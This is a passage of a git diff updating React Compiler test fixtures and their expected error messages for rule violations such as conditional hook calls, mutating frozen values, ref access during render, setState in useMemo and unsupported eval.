+// @flow @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+import {makeObject_Primitives} from 'shared-runtime';
+
+component Example() {
+  const fooRef = makeObject_Primitives();
+  fooRef.current = true;
+
+  return <Stringify foo={fooRef} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-hook-to-local.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-hook-to-local.expect.md
index a4327cf961bf..e07aa2e32c1b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-hook-to-local.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-hook-to-local.expect.md
@@ -14,9 +14,14 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-assign-hook-to-local.ts:2:12
   1 | function Component(props) {
 > 2 |   const x = useState;
-    |             ^^^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
+    |             ^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   3 |   const state = x(null);
   4 |   return state[0];
   5 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.expect.md
new file mode 100644
index 000000000000..aef40d34cb5f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.expect.md
@@ -0,0 +1,36 @@
+
+## Input
+
+```javascript
+// @flow
+
+component Foo() {
+  const foo = useFoo();
+  foo.current = true;
+  return <div />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed.
+
+  3 | component Foo() {
+  4 |   const foo = useFoo();
+> 5 |   foo.current = true;
+    |   ^^^ value cannot be modified
+  6 |   return <div />;
+  7 | }
+  8 |
+
+Hint: If this value is a Ref (value returned by `useRef()`), rename the variable to end in "Ref".
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.js
new file mode 100644
index 000000000000..efe92bc034e7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.js
@@ -0,0 +1,7 @@
+// @flow
+
+component Foo() {
+  const foo = useFoo();
+  foo.current = true;
+  return <div />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-computed-store-to-frozen-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-computed-store-to-frozen-value.expect.md
index 2318d38feb80..d0e4864a7618 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-computed-store-to-frozen-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-computed-store-to-frozen-value.expect.md
@@ -16,10 +16,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-computed-store-to-frozen-value.ts:5:2
   3 |   // freeze
   4 |   <div>{x}</div>;
 > 5 |   x[0] = true;
-    |   ^ InvalidReact: Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX (5:5)
+    |   ^ value cannot be modified
   6 |   return x;
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.expect.md
index e8b8ef42fbde..a89b7dc0f090 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useFragment as readFragment } from "shared-runtime";
+import {useFragment as readFragment} from 'shared-runtime';
 
 function Component(props) {
   let data;
@@ -18,10 +18,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-conditional-call-aliased-hook-import.ts:6:11
   4 |   let data;
   5 |   if (props.cond) {
 > 6 |     data = readFragment();
-    |            ^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
+    |            ^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |   }
   8 |   return data;
   9 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.js
index 1d64d03dc836..0d44272bf4ea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.js
@@ -1,4 +1,4 @@
-import { useFragment as readFragment } from "shared-runtime";
+import {useFragment as readFragment} from 'shared-runtime';
 
 function Component(props) {
   let data;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.expect.md
index fb00aa5b92d8..b5c2a7eb5979 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useState as state } from "react";
+import {useState as state} from 'react';
 
 function Component(props) {
   let s;
@@ -18,10 +18,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-conditional-call-aliased-react-hook.ts:6:10
   4 |   let s;
   5 |   if (props.cond) {
 > 6 |     [s] = state();
-    |           ^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
+    |           ^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |   }
   8 |   return s;
   9 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.js
index 143bc62adce7..43ca61de170b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.js
@@ -1,4 +1,4 @@
-import { useState as state } from "react";
+import {useState as state} from 'react';
 
 function Component(props) {
   let s;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.expect.md
index 8e3363051d05..c904e866ff63 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeArray as useArray } from "other";
+import {makeArray as useArray} from 'other';
 
 function Component(props) {
   let data;
@@ -18,10 +18,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-conditional-call-non-hook-imported-as-hook.ts:6:11
   4 |   let data;
   5 |   if (props.cond) {
 > 6 |     data = useArray();
-    |            ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
+    |            ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |   }
   8 |   return data;
   9 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.js
index 59ca940eeeef..6abdb8ab4889 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.js
@@ -1,4 +1,4 @@
-import { makeArray as useArray } from "other";
+import {makeArray as useArray} from 'other';
 
 function Component(props) {
   let data;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.expect.md
new file mode 100644
index 000000000000..ee2c56fe223d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
+function Component({item, cond}) {
+  const [prevItem, setPrevItem] = useState(item);
+  const [state, setState] = useState(0);
+
+  useMemo(() => {
+    if (cond) {
+      setPrevItem(item);
+      setState(0);
+    }
+  }, [cond, key, init]);
+
+  return state;
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Error: Calling setState from useMemo may trigger an infinite loop
+
+Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).
+
+error.invalid-conditional-setState-in-useMemo.ts:7:6
+   5 |   useMemo(() => {
+   6 |     if (cond) {
+>  7 |       setPrevItem(item);
+     |       ^^^^^^^^^^^ Found setState() within useMemo()
+   8 |       setState(0);
+   9 |     }
+  10 |   }, [cond, key, init]);
+
+Error: Calling setState from useMemo may trigger an infinite loop
+
+Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).
+
+error.invalid-conditional-setState-in-useMemo.ts:8:6
+   6 |     if (cond) {
+   7 |       setPrevItem(item);
+>  8 |       setState(0);
+     |       ^^^^^^^^ Found setState() within useMemo()
+   9 |     }
+  10 |   }, [cond, key, init]);
+  11 |
+
+Error: Found missing/extra memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-conditional-setState-in-useMemo.ts:7:18
+   5 |   useMemo(() => {
+   6 |     if (cond) {
+>  7 |       setPrevItem(item);
+     |                   ^^^^ Missing dependency `item`
+   8 |       setState(0);
+   9 |     }
+  10 |   }, [cond, key, init]);
+
+error.invalid-conditional-setState-in-useMemo.ts:10:12
+   8 |       setState(0);
+   9 |     }
+> 10 |   }, [cond, key, init]);
+     |             ^^^ Unnecessary dependency `key`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change
+  11 |
+  12 |   return state;
+  13 | }
+
+error.invalid-conditional-setState-in-useMemo.ts:10:17
+   8 |       setState(0);
+   9 |     }
+> 10 |   }, [cond, key, init]);
+     |                  ^^^^ Unnecessary dependency `init`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change
+  11 |
+  12 |   return state;
+  13 | }
+
+Inferred dependencies: `[cond, item]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.js
new file mode 100644
index 000000000000..4385ef6a6cc3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.js
@@ -0,0 +1,13 @@
+function Component({item, cond}) {
+  const [prevItem, setPrevItem] = useState(item);
+  const [state, setState] = useState(0);
+
+  useMemo(() => {
+    if (cond) {
+      setPrevItem(item);
+      setState(0);
+    }
+  }, [cond, key, init]);
+
+  return state;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-computed-property-of-frozen-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-computed-property-of-frozen-value.expect.md
index 7116e4d19715..1518035ae04d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-computed-property-of-frozen-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-computed-property-of-frozen-value.expect.md
@@ -16,10 +16,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-delete-computed-property-of-frozen-value.ts:5:9
   3 |   // freeze
   4 |   <div>{x}</div>;
 > 5 |   delete x[y];
-    |          ^ InvalidReact: Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX (5:5)
+    |          ^ value cannot be modified
   6 |   return x;
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-property-of-frozen-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-property-of-frozen-value.expect.md
index c6176d1afc5d..47f10323ca4d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-property-of-frozen-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-property-of-frozen-value.expect.md
@@ -16,10 +16,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-delete-property-of-frozen-value.ts:5:9
   3 |   // freeze
   4 |   <div>{x}</div>;
 > 5 |   delete x.y;
-    |          ^ InvalidReact: Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX (5:5)
+    |          ^ value cannot be modified
   6 |   return x;
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.expect.md
new file mode 100644
index 000000000000..ccbcf68a576b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.expect.md
@@ -0,0 +1,41 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects
+import {useEffect, useState} from 'react';
+
+function BadExample() {
+  const [firstName, setFirstName] = useState('Taylor');
+  const [lastName, setLastName] = useState('Swift');
+
+  // 🔴 Avoid: redundant state and unnecessary Effect
+  const [fullName, setFullName] = useState('');
+  useEffect(() => {
+    setFullName(firstName + ' ' + lastName);
+  }, [firstName, lastName]);
+
+  return <div>{fullName}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)
+
+error.invalid-derived-computation-in-effect.ts:11:4
+   9 |   const [fullName, setFullName] = useState('');
+  10 |   useEffect(() => {
+> 11 |     setFullName(firstName + ' ' + lastName);
+     |     ^^^^^^^^^^^ Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)
+  12 |   }, [firstName, lastName]);
+  13 |
+  14 |   return <div>{fullName}</div>;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.js
new file mode 100644
index 000000000000..0209b47ce39b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.js
@@ -0,0 +1,15 @@
+// @validateNoDerivedComputationsInEffects
+import {useEffect, useState} from 'react';
+
+function BadExample() {
+  const [firstName, setFirstName] = useState('Taylor');
+  const [lastName, setLastName] = useState('Swift');
+
+  // 🔴 Avoid: redundant state and unnecessary Effect
+  const [fullName, setFullName] = useState('');
+  useEffect(() => {
+    setFullName(firstName + ' ' + lastName);
+  }, [firstName, lastName]);
+
+  return <div>{fullName}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.expect.md
index cc4fcbc1cc12..7565ae354665 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function useFoo(props) {
   [x] = props;
-  return { x };
+  return {x};
 }
 
 ```
@@ -13,10 +13,17 @@ function useFoo(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `x` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.invalid-destructure-assignment-to-global.ts:2:3
   1 | function useFoo(props) {
 > 2 |   [x] = props;
-    |    ^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (2:2)
-  3 |   return { x };
+    |    ^ `x` cannot be reassigned
+  3 |   return {x};
   4 | }
   5 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.js
index 9bd077cdef0e..adb0fb7b8462 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.js
@@ -1,4 +1,4 @@
 function useFoo(props) {
   [x] = props;
-  return { x };
+  return {x};
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-to-local-global-variables.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-to-local-global-variables.expect.md
index b3303fa189a3..fedb1d5f3b11 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-to-local-global-variables.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-to-local-global-variables.expect.md
@@ -15,10 +15,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `b` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.invalid-destructure-to-local-global-variables.ts:3:6
   1 | function Component(props) {
   2 |   let a;
 > 3 |   [a, b] = props.value;
-    |       ^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (3:3)
+    |       ^ `b` cannot be reassigned
   4 |
   5 |   return [a, b];
   6 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-ref-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-ref-in-render.expect.md
index b5547a132862..c43bb5dcd9bb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-ref-in-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-ref-in-render.expect.md
@@ -16,10 +16,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-disallow-mutating-ref-in-render.ts:4:2
   2 | function Component() {
   3 |   const ref = useRef(null);
 > 4 |   ref.current = false;
-    |   ^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (4:4)
+    |   ^^^^^^^^^^^ Cannot update ref during render
   5 |
   6 |   return <button ref={ref} />;
   7 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-refs-in-render-transitive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-refs-in-render-transitive.expect.md
index 0d4cb1318911..c8b70edcc411 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-refs-in-render-transitive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-refs-in-render-transitive.expect.md
@@ -21,12 +21,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-disallow-mutating-refs-in-render-transitive.ts:9:2
    7 |   };
    8 |   const changeRef = setRef;
 >  9 |   changeRef();
-     |   ^^^^^^^^^ InvalidReact: This function accesses a ref value (the `current` property), which may not be accessed during render. (https://react.dev/reference/react/useRef). Function mutate? $39[11:13]:TObject<BuiltInFunction> accesses a ref (9:9)
-
-InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (9:9)
+     |   ^^^^^^^^^ This function accesses a ref value
   10 |
   11 |   return <button ref={ref} />;
   12 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.expect.md
new file mode 100644
index 000000000000..d766bc03b219
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.expect.md
@@ -0,0 +1,31 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  eval('props.x = true');
+  return <div />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: The 'eval' function is not supported
+
+Eval is an anti-pattern in JavaScript, and the code executed cannot be evaluated by React Compiler.
+
+error.invalid-eval-unsupported.ts:2:2
+  1 | function Component(props) {
+> 2 |   eval('props.x = true');
+    |   ^^^^ The 'eval' function is not supported
+  3 |   return <div />;
+  4 | }
+  5 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.js
new file mode 100644
index 000000000000..b8885d2d54a6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-eval-unsupported.js
@@ -0,0 +1,4 @@
+function Component(props) {
+  eval('props.x = true');
+  return <div />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.expect.md
index 933495c5a4f9..ad5ad24908d6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 function Component(props) {
-  const [x, setX] = useState({ value: "" });
-  const onChange = (e) => {
+  const [x, setX] = useState({value: ''});
+  const onChange = e => {
     // INVALID! should use copy-on-write and pass the new value
     x.value = e.target.value;
     setX(x);
@@ -18,10 +18,17 @@ function Component(props) {
 ## Error
 
 ```
-  3 |   const onChange = (e) => {
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead.
+
+error.invalid-function-expression-mutates-immutable-value.ts:5:4
+  3 |   const onChange = e => {
   4 |     // INVALID! should use copy-on-write and pass the new value
 > 5 |     x.value = e.target.value;
-    |     ^ InvalidReact: Mutating a value returned from 'useState()', which should not be mutated. Use the setter function to update instead. Found mutation of `x` (5:5)
+    |     ^ `x` cannot be modified
   6 |     setX(x);
   7 |   };
   8 |   return <input value={x.value} onChange={onChange} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.js
index c4d62da44c9a..64a4b37d3969 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-function-expression-mutates-immutable-value.js
@@ -1,6 +1,6 @@
 function Component(props) {
-  const [x, setX] = useState({ value: "" });
-  const onChange = (e) => {
+  const [x, setX] = useState({value: ''});
+  const onChange = e => {
     // INVALID! should use copy-on-write and pass the new value
     x.value = e.target.value;
     setX(x);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.expect.md
index ec66c5153b71..c8331d43afb6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-global-reassignment-indirect.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
